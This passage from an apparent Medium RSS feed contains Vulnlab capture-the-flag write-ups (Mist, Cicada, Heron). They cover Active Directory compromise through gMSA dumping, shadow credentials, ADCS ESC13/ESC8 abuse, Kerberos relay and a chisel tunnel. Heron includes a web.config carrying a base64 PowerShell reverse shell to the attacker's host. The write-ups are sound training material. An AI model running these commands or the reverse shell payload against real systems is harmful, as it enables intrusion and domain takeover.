src="https://cdn-images-1.medium.com/max/1024/0*UPZ2pVwnAGhbrQK6" /></figure><p>For reading GMSA password, we can use AD module but I’ll be using <a href="https://github.com/micahvandeusen/gMSADumper">gMSADumper</a></p><pre>python3 /opt/gMSADumper/gMSADumper.py -u &#39;OP_SHARON.MULLARD&#39; -p &#39;pass&#39; -d mist.htb -l 192.168.100.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dPwd9Lcc67gSxY36" /></figure><h3>Shadow credentials on SVC_CABACKUP</h3><p>Now with this account we can get access to SVC_CABackup user by having AddKeyCredentialLink access control, which basically is again performing shadow credentials attack through <a href="https://github.com/ShutdownRepo/pywhisker/tree/main/pywhisker">pyWhisker</a></p><pre>python3 pywhisker.py  -u &#39;svc_ca$&#39; -H &#39;hash&#39; -t SVC_CABACKUP -a add  -d mist.htb --dc-ip 192.168.100.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J1lJCnuRoNcYsY1Y" /></figure><p>To retrieve the NThash, using the same steps which were performed for MS01$</p><pre>Rubeus.exe asktgt /user:SVC_CABACKUP /domain:mist.htb  /certificate:./SW9Iavcw.pfx /password:ciCdAJ1qPObnqR57ltDL /getcredentials /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xt6CzsH0GBtAnzsm" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/0*24ko3n7N2lCBlHZQ" /></figure><h3>Getting Domain Admin Through ESC13</h3><p>Recently two new ADCS attacks were introduced dubbed as ESC13 &amp; ESC14, from certipy’s github issues we can see support for ESC13 being added as well</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E9cOXApIIbXUk0X5" /></figure><p>So cloning this version of <a href="https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53">certipy</a> , we can find a certificate template ManagerAuthentication being vulnerable to <a href="https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53">ESC13</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bfZfarNXwUCW9gT1" /></figure><p>This template has an Extended Key Usage (EKU) for Client Authentication which means that through this certificate we can perform authentication, this certificate is linked with Certificate Managers group and members of certificate services can enroll for this certificate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VruAYzweWAWd7LuX" /></figure><p>This can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13. Requesting the certificate with ManagerAuthentication template, this is going to show an error for public key not meeting the minimum size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KrLDpM5SHp42QgP3" /></figure><p>By default certipy uses 2048 as the length of public key, this can be changed to 4096 with -key-size parameter</p><pre>certipy req -u &#39;SVC_CABACKUP&#39; -hashes &#39;hash&#39; -ca &#39;mist-DC01-CA&#39; -dc-ip 192.168.100.100 -template &#39;ManagerAuthentication&#39; -key-size 4096</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LAxtGnNImwrhLEnr" /></figure><p>We have the certificate for svc_backup but this holds the permissions of certificate managers, so requesting a TGT with this certificate</p><pre>python3 gettgtpkinit.py -cert-pfx ./svc_cabackup.pfx -dc-ip 192.168.100.100 mist.htb/SVC_CABACKUP SVC_CABACKUP.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WoOR8OPLL_hqJIt4" /></figure><p>Listing the templates again, we can see BackupSvcAuthentication can be enrolled with CA Backup members which we are with the current certificate that we have</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*usZpNy6ankP2JYdL" /></figure><p>On requesting this certificate we can again privileges of ServiceAccounts group which is a member of Backup Operators group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TfKzTG_cn-WmMT_T" /></figure><p>Being in this group we can backup the registry hives to dump SAM hashes of DC account and then perform DCSync</p><pre>certipy req -u &#39;SVC_CABACKUP@mist.htb&#39; -k -no-pass -ca &#39;mist-DC01-CA&#39; -dc-ip 192.168.100.100  -target DC01.mist.htb -template &#39;BackupSvcAuthentication&#39; -key-size 4096</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fUHE6dyfsYZCu8Xp" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-1cxB1NlSzV5rZ7s" /></figure><p>Exporting this TGT and starting smb server through smbserver.py to backup the SAM, SYSTEM and SECURITY from the registry hive using reg.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*n6VfXjWRXunox_Vu" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DeYUWhcpZ5vcxuOz" /></figure><p>(For dumping SYSTEM file, it will take some time), after having these 3 files running secretsdump.py locally and using the $MACHINE.ACC hash to performing dcsync</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HYCWaxahNEQlyJ6o" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/0*TBX7MGyvArJx6TXS" /></figure><h3>References</h3><ul><li><a href="https://www.exploit-db.com/exploits/51592">https://www.exploit-db.com/exploits/51592</a></li><li><a href="https://github.com/pluck-cms/pluck/issues/122">pluck-cms/pluck#122</a></li><li><a href="https://github.com/G0ldenGunSec/GetWebDAVStatus">https://github.com/G0ldenGunSec/GetWebDAVStatus</a></li><li><a href="https://github.com/jellever/StreamDivert">https://github.com/jellever/StreamDivert</a></li><li><a href="https://github.com/fortra/impacket/pull/1402">fortra/impacket#1402</a></li><li><a href="https://github.com/micahvandeusen/gMSADumper">https://github.com/micahvandeusen/gMSADumper</a></li><li><a href="https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53">https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c23cdea69ca5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab — Cicada]]></title>
            <link>https://arz101.medium.com/vulnlab-cicada-d4e14f4293d9?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4e14f4293d9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[kerberos-authentication]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[vulnlab]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Sun, 13 Oct 2024 18:55:22 GMT</pubDate>
            <atom:updated>2024-10-13T18:55:22.169Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Cicada</h3><p>Cicada is a standalone windows machine enabled with only kerberos authentication that involved enumerating NFS share to find domain credentials, enumerating ADCS (Active Directory Certificate Services) to find web enrollment being enabled which leads to ESC8 (Relay to CA server), since NTLM authentication was disabled, by joining a windows VM to the domain, with RemoteKrbRelay relaying kerberos authentication</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*RosQ8v5f1gpodZoV" /></figure><pre>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0        <br>|_http-title: IIS Windows Server                          <br>| http-methods:                                   <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-11 18:09:49Z)<br>111/tcp  open  rpcbind?<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100003  2,3         2049/udp   nfs<br>|   100003  2,3         2049/udp6  nfs<br>|   100003  2,3,4       2049/tcp   nfs<br>|_  100003  2,3,4       2049/tcp6  nfs<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC-JPQ225.cicada.vl<br>| Issuer: commonName=cicada-DC-JPQ225-CA<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-09-13T10:42:50<br>| Not valid after:  2025-09-13T10:42:50<br>| MD5:   2b54:f7f1:53c6:0241:c432:c868:1d86:5ec7<br>|_SHA-1: eef8:12f9:0a11:c0d5:16c1:c499:9abf:3341:4419:6a2b<br>|_ssl-date: TLS randomness does not represent time<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC-JPQ225.cicada.vl<br>| Issuer: commonName=cicada-DC-JPQ225-CA<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-09-13T10:42:50<br>| Not valid after:  2025-09-13T10:42:50<br>| MD5:   2b54:f7f1:53c6:0241:c432:c868:1d86:5ec7<br>|_SHA-1: eef8:12f9:0a11:c0d5:16c1:c499:9abf:3341:4419:6a2b<br>|_ssl-date: TLS randomness does not represent time<br>2049/tcp open  nfs           2-4 (RPC #100003)<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC-JPQ225.cicada.vl<br>| Issuer: commonName=cicada-DC-JPQ225-CA<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC-JPQ225.cicada.vl<br>| Issuer: commonName=cicada-DC-JPQ225-CA<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-09-13T10:42:50<br>| Not valid after:  2025-09-13T10:42:50<br>| MD5:   2b54:f7f1:53c6:0241:c432:c868:1d86:5ec7<br>|_SHA-1: eef8:12f9:0a11:c0d5:16c1:c499:9abf:3341:4419:6a2b<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2024-10-11T18:11:17+00:00; +9s from scanner time.<br>| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl<br>| Issuer: commonName=DC-JPQ225.cicada.vl<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-09-12T15:21:57<br>| Not valid after:  2025-03-14T15:21:57<br>| MD5:   e356:22df:9b7a:d588:46f6:a65e:3788:73e1<br>|_SHA-1: d206:e12e:961c:9184:3789:b9fd:c616:4942:c661:7ae7<br>5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Service Unavailable</pre><p>Visiting the page as we have port 80 open, we get nothing but IIS default page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ph8sdfM01SBXqgxU" /></figure><h3>Enumerating shares</h3><p>Next we can enumerate smb and nfs share while being unauthenticated, from smb we get an error message, so it might not be accessible without credentials or it’s just NTLM authentication is disabled and only kerberos is allowed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/0*CctE3D9K_lvo9uTg" /></figure><p>With showmount we can list the directories that are available to be mapped from our host</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/0*rCv13DS-yUPy0hdS" /></figure><pre>sudo mount -t nfs 10.10.89.234:/profiles  /home/arz/Vulnlabs/Cicada/share</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/0*-s6ZXC_J_h5B1qai" /></figure><p>From this share, we get home directories of domain users from which we can explore and create a list of users that maybe helpful in as-rep roasting or password spraying</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/0*xDImKTCJFoapnQwv" /></figure><p>In administrator’s directory, we have vacation.png file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*HwblNLvNJrfPTuG2" /></figure><p>The image doesn’t hold anything meaningful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/0*orGQGcBjHCgRDRMQ" /></figure><p>However, from Rosie.Powell&#39;s directory we have another image, marketing.png</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/0*DQnTj5Re6Gm7ndMK" /></figure><p>This image holds a password, so we can try this on Rosie since it was in this user’s directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/0*9ew6VuYoEr7gC6XU" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/0*RcbdoUoa4BlTGfZy" /></figure><p>But when enumerating the shares through netexec we’ll be shown an error of “not supported”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XYz48WRdSGnd-LO_" /></figure><h3>Authenticating with kerberos</h3><p>We saw the same error earlier with smbclient, so to authenticate with kerberos just add -k as an argument also add the machine name which was found through nmap in hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*K63ZdaSRD8W8N-ed" /></figure><pre>nxc smb DC-JPQ225 -u &#39;Rosie.Powell&#39; -d cicada.vl -p password -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*llY2kuViG_PP8KYU" /></figure><p>Alternatively we can use getTGT from impacket and smbclient to enumerate shares</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/0*2G87L9mpv6cmjhMH" /></figure><p>We already went through profiles$ share as it was available for mounting on nfs, there&#39;s CertEnroll which means this server is also ADCS (Active Directory Certificate Services), we can enumerate for enabled/vulnerable certificate templates through certipy</p><pre>certipy-ad find -u &#39;Rosie.Powell&#39; -vulnerable -stdout -k -no-pass -target DC-JPQ225</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IqVVkkFWIVEzitS5" /></figure><h3>Performing kerberos Relay with ESC8</h3><p>The output shows that web enrollment is enabled which is found very common to be vulnerable as relaying NTLM authentication is possible to the web enrollment service by coercing HTTP authentication request for a certificate on behalf of domain controller but here we only have only one server also NTLM authentication is disabled from what we saw and self relaying isn’t possible</p><p>It’s possible to add a machine account if the quota allows us, this can be checked with netexec</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hsDZ86PdOPJj23Dr" /></figure><p>We can add a machine account by first spinning up a windows VM, connecting it to vulnlab’s vpn, adding domain controller’s IP as the DNS server and join it with the domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DtbQbIFefM4Ii-Nu" /></figure><p>Set the DNS IP to domain controller</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/0*TQHyUMru39WkiExD" /></figure><p>To join this to a domain, go to control panel, system and then reanme this pc (advanced)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/0*fnFZzlx_xDtEkaFR" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DkL-SDAWgDM3pnWd" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/0*7zHK3UPYNV42nhya" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/0*YJ-U1K9NUn2f5pnG" /></figure><p>Now to perform kerberos realy on ADCS web enrollment, A tool called <a href="https://github.com/CICADA8-Research/RemoteKrbRelay">RemoteKrbRelay</a> can be used which is similar to Krbrealyup except that this can be used to perform kerberos relay remotely instead of doing it locally</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ND56f_WaFywfB6Cj" /></figure><p>I do want to point an issue I faced, don’t know if this was only with me but after compiling and running it, visual studio wasn’t including BouncyCastle so the binary would scream for not having that dependency included</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7MDwJB4P9A82Hs_5" /></figure><p>This isn’t a big issue as we can just place the dll in the folder from where we are executing the binary and it should work</p><pre>RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OmQeBMlrQHgV_XXx" /></figure><p>Copying the base64 pfx certificate, with PKINIT tools , we can request the NThash or TGT of domain controller and then use it to dump hash of domain admin</p><pre>python3 /opt/PKINITtools/gettgtpkinit.py -pfx-base64 $(cat ./cert.pkcs12) -dc-ip IP cicada.vl/&#39;DC-JPQ225$&#39; dc.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LjPLeeQl0kSgDxdV" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AkgKlLvu3RciUUyz" /></figure><p>Retrieving TGT of administrator and then getting a shell through wmiexec</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qe-58eq70T-Tl-ov" /></figure><h3>References</h3><ul><li><a href="https://x.com/decoder_it/status/1842180729695842676">https://x.com/decoder_it/status/1842180729695842676</a></li><li><a href="https://github.com/CICADA8-Research/RemoteKrbRelay">https://github.com/CICADA8-Research/RemoteKrbRelay</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4e14f4293d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab — Heron]]></title>
            <link>https://arz101.medium.com/vulnlab-heron-b68f12834220?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/b68f12834220</guid>
            <category><![CDATA[vulnlab]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 10:30:13 GMT</pubDate>
            <atom:updated>2024-10-04T10:30:13.667Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Heron</h3><p>Heron from vulnlab, had a linux jump server access to domain controller, using chisel for socks proxy, enumerating the internal website for domain users and performing AS-REP roasting, decrypting GPP password from the sysvol share, leading to smb share having write access to web.config, gaining a shell by using AspNetCoreModule for executing powershell commands which lead to finding linux admin’s credentials, reusing the same password that will lead to another user which has WriteAccountRestrictions on dc that leads to resource based delegation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*RYiTRSFdkaQiJ-GE" /></figure><h3>Jump server</h3><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 10:a0:bd:2a:81:3d:37:5d:23:75:c8:d2:83:bf:2a:23 (ECDSA)<br>|_  256 bd:32:29:26:4d:41:d7:56:01:37:bc:10:0c:de:45:24 (ED25519)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>The server had only port 22 with the credentials provided on vulnlab wiki as this chained machine is an assumed breach scenario pentest:Heron123!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ix_xcUI4y3oAP-p9" /></figure><p>Checking for privileges, we can’t use sudo as this user isn’t in sudoers group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/0*cuLhLvDnFbRhJMig" /></figure><p>From the user’s directory, two users svc-web-accounting and svc-web-accounting-d belong to heron.vl , having only usernames there&#39;s only as-rep roasting we could try if these domain users have pre-authentication not required, this could give us the as-rep hash so we can try cracking to get the plain text password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/0*ajzzp9WwL61RZlJU" /></figure><p>Checking the internal ports, there’s only ssh here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bee-n0eNTduW01XP" /></figure><p>To proceed with as-rep roasting we need to perform pivoting as we directly cannot reach domain controller, this can be done with either chisel or ligolo-ng, I’ll be using chisel since we only need to access one host, if it were a network then ligolog would have been a better option for that</p><pre>chisel server --reverse -p 3000<br>chisel client 10.8.0.136:3000 R:socks</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/0*K7w5fBNNqPVCkdkx" /></figure><p>With Get-NPUsers to check the pre-authentication not required, both of the users had that required</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/0*pb2bp_USYKzDcsNq" /></figure><p>Bruteforcing the SIDs with guest account was not possible too as that account was disabled</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3v0iYdXoNnSCi9P9" /></figure><p>Visiting the web page, we have a pager about heron corp with three more usernames at the bottom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ycy-pP43igo3NsgJ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/0*DhrvI7aHcadjDvJY" /></figure><p>Trying to check pre-auth again with these users, we’ll get samuel.davies’s hash and cracking it with hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2oGClWDlUmEfWu5y" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0KklyIQDfzpHtWd2" /></figure><h3>Decrypting GPP password</h3><p>Enumerating the shares, samuel had read access on sysvol , home and write on transfer$ which seem to be only two interesting shares right now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tIY9R7YId0vhLOAM" /></figure><p>Then transfer share was empty, home had bunch of user directories including samuel which was also didn’t had anything</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/0*xm-a5HnCmq4mhcQ6" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*pirvk5ZXgofnnftY" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/0*f4RQbJeskVbLd-jb" /></figure><p>However, from SYSVOL share in one of the policy directory, we can find encrypted password for svc-web-accounting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oHBcKHnBnLGwirZ2" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*s2BE5BQrbJYlRAjC" /></figure><p>Decrypting this with GPP-decrypt python script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*ntHlxnv9uaWzTcoQ" /></figure><p>GPP password can also be recovered through nxc/cme with gpp_password module</p><pre>proxychains  nxc smb 10.10.196.37 -u &#39;samuel.davies&#39; -p &#39;pass&#39; -M gpp_password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aEgxf8niSu6UnQ8C" /></figure><p>Checking the access on smb shares with svc-web-accounting-d, there’s write access on accounting share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_Lst2m0PHfAjGdOl" /></figure><p>The accounting share has the application files including the web.config</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/0*2c8D9tV6GnP9FPkT" /></figure><h3>Getting a shell through web.config</h3><p>Since we have write access to web.config we can edit that and execute system commands through AspNetCoreModule but this method is destructive as it replaces the config file and can cause application to not function as in this scenario the application is working through the use of AccountingApp.dll in the config file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MQADzahJO-433_rB" /></figure><p>But before we attempt this we need to first figure out where config is being hosted as from the previous website we found it wasn’t there, from the share name this hints us to use accounting as vhost</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/0*9uB_yk9lG1MvYhDX" /></figure><p>This site will ask for credentials where svc-web-accounting-d’s creds will work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pzqR-TGUP6F4xDzn" /></figure><p>The data here was being reflected from the dll which can be analyzed by either ILSpy or DNSpy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Jmg4id55YWTzQZmD" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U2q7YHkWRXyfkZLG" /></figure><p>Following this article <a href="https://soroush.me/blog/tag/rce/">https://soroush.me/blog/tag/rce/</a>, to replace the path with any which does not exist, changing the processpath to be powershell and in the arguments placing base64 encoded reverse shell to receive on jump server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kaooXgC5qfkJGGeD" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T5lu_Q-b2BwVrmBw" /></figure><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;  <br>&lt;configuration&gt;  <br>  &lt;location path=&quot;.&quot; inheritInChildApplications=&quot;false&quot;&gt;  <br>    &lt;system.webServer&gt;  <br>      &lt;handlers&gt;  <br>        &lt;add name=&quot;aspNetCore&quot; path=&quot;execute.now&quot; verb=&quot;*&quot; modules=&quot;AspNetCoreModuleV2&quot; resourceType=&quot;Unspecified&quot; /&gt;  <br>      &lt;/handlers&gt;  <br>      &lt;aspNetCore processPath=&quot;powershell&quot; arguments=&quot;-e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADAALgAxADMANgAiACwAMgAyADIAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=&quot; hostingModel=&quot;OutOfProcess&quot; /&gt;  <br>    &lt;/system.webServer&gt;  <br>  &lt;/location&gt;  <br>&lt;/configuration&gt;  <br>&lt;!--ProjectGuid: 803424B4-7DFD-4F1E-89C7-4AAC782C27C4--&gt;</pre><p>Now deleting the web.config and replacing it with our modified one then making a request to the webpage with /execute.now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3-2GScV4COGesYOE" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*XrUocj_OzEu2Mh3G" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/0*y9zEba5MM5xNjkca" /></figure><p>After getting a shell, running bloodhound to enumerate the domain</p><pre>proxychains bloodhound-python -d &#39;heron.vl&#39; -u &#39;svc-web-accounting-d&#39; -p &#39;password&#39;  -c all -ns 10.10.237.21</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XJ96ukFRfRJn1g_m" /></figure><p>But from bloodhound, it didn’t showed any path leading to privilege escalation/lateral movement</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aO-Mb5cCHr2lLAjr" /></figure><h3>Escalating privileges on jump server</h3><p>Enumerating C:\Windows, we’ll find scripts folder which is unusual to be there, ssh. ps1 file having credentials to_local user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/0*6dbXFiM0d3lHEehj" /></figure><p>Switching to user and escalating privileges to root user</p><figure><img alt="" 